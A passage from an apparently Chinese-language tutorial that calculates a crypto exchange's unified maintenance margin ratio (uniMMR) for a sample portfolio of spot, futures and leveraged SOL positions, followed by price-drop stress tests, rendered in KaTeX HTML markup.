mtight">n</span><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">b</span><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">in</span><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></span></p><p>这里需要分步计算：</p><ol><li><strong>投资总价值</strong>：500 SOL × 85 USD = 42,500 USD</li><li><strong>借贷负债</strong>：300 SOL × 85 USD = 25,500 USD</li><li><strong>净资产价值</strong>：42,500 - 25,500 = 17,000 USD</li><li><strong>应用抵押率</strong>：17,000 × 90% = 15,300 USD</li></ol><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">g</span><span class="mord mathnormal mtight">in</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord">15</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">300</span><span class="mord text"><span class="mord"> USD</span></span></span></span></span></span></p><p><strong>开仓亏损调整：</strong></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal">L</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">p</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">−</span><span class="mord">0.06</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">42</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">000</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord">−</span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">520</span><span class="mord text"><span class="mord"> USD</span></span></span></span></span></span></p><p><strong>步骤2：计算调整后权益总和</strong></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.6em;vertical-align:-0.55em;"></span><span class="mop op-symbol large-op" style="position:relative;top:0em;">∑</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">s</span><span class="mord mathnormal mtight">p</span><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.10764em;">f</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">res</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">g</span><span class="mord mathnormal mtight">in</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal">L</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">p</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span></span></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">28</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">910</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">100</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">15</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">300</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">520</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord">43</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">790</span><span class="mord text"><span class="mord"> USD</span></span></span></span></span></span></p><p><strong>计算验证：</strong></p><ul><li>现货权益：28,910 USD</li><li>合约权益：2,100 USD</li><li>杠杆权益：15,300 USD</li><li>开仓亏损：-2,520 USD</li><li><strong>总计</strong>：43,790 USD</li></ul><p><strong>步骤3：计算维持保证金总和</strong></p><p><strong>合约MM：</strong><br>根据文档机制：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.10764em;">f</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">res</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.10903em;">MM</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span><span class="mord mathnormal mtight">os</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mord">∣</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span></span></span></span></p><p><strong>BTCUSDT合约：</strong></p><ul><li>仓位价值：0.1 BTC × 42,000 USD = 4,200 USD</li><li>MMR：0.5%</li><li>MM = |0.5% × 4,200| - 0 = 21 USD（假设无累积调整值）</li></ul><p><strong>ETHUSDT合约：</strong></p><ul><li>仓位价值：2 ETH × 2,800 USD = 5,600 USD</li><li>MMR：0.5%</li><li>MM = |0.5% × 5,600| - 0 = 28 USD（假设无累积调整值）</li></ul><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.10764em;">f</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">res</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">21</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">28</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord">49</span><span class="mord text"><span class="mord"> USD</span></span></span></span></span></span></p><p><strong>杠杆MM：</strong><br>根据文档机制：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">g</span><span class="mord mathnormal mtight">in</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop op-symbol small-op" style="position:relative;top:0em;">∑</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.10903em;">MM</span><span class="mpunct mtight">,</span><span class="mord mathnormal mtight">i</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>（仅针对借贷金额）</p><p><strong>SOL杠杆交易：</strong></p><ul><li>借贷金额：300 SOL</li><li>MMR：10%（3倍杠杆对应的维持保证金率）</li><li>MM计算：300 SOL × 10% = 30 SOL</li><li>转换为USD：30 SOL × 85 USD = 2,550 USD</li></ul><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">g</span><span class="mord mathnormal mtight">in</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">550</span><span class="mord text"><span class="mord"> USD</span></span></span></span></span></span></p><p><strong>总维持保证金：</strong></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.6em;vertical-align:-0.55em;"></span><span class="mop op-symbol large-op" style="position:relative;top:0em;">∑</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">MM</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.10764em;">f</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">res</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">g</span><span class="mord mathnormal mtight">in</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">49</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">550</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">599</span><span class="mord text"><span class="mord"> USD</span></span></span></span></span></span></p><p><strong>步骤4：计算uniMMR</strong></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">ni</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.363em;vertical-align:-0.936em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.427em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mop op-symbol small-op" style="position:relative;top:0em;">∑</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">MM</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mop op-symbol small-op" style="position:relative;top:0em;">∑</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.936em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.2019em;vertical-align:-0.8804em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">599</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">43</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">790</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.8804em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">16.85</span><span class="mord text"><span class="mord"> (1685%)</span></span></span></span></span></span></p><p><strong>最终结果验证：</strong></p><ul><li>调整后权益总和：43,790 USD</li><li>维持保证金总和：2,599 USD</li><li><strong>uniMMR</strong>：1685%</li></ul><h3 id="10-4-风险状态分析">10.4 风险状态分析</h3><p><strong>当前风险评估：</strong></p><ul><li>uniMMR = 1685% &gt;&gt; 150%：<strong>极度安全状态</strong></li><li>可自由进行各种交易操作</li><li>拥有极大的安全边际</li></ul><p><strong>压力测试场景：</strong></p><p><strong>场景1：市场下跌20%</strong><br>假设所有资产价格同时下跌20%：</p><ul><li>调整后权益预估：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">43</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">790</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.8</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">35</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">032</span></span></span></span> USD</li><li>维持保证金基本不变：2,599 USD</li><li>新uniMMR：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">35</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">032</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">÷</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">599</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">13.48</span></span></span></span> (1348%)</li><li><strong>仍处于极度安全状态</strong></li></ul><p><strong>场景2：市场下跌50%</strong><br>极端情况下资产价格下跌50%：</p><ul><li>调整后权益预估：<span class="katex"><span 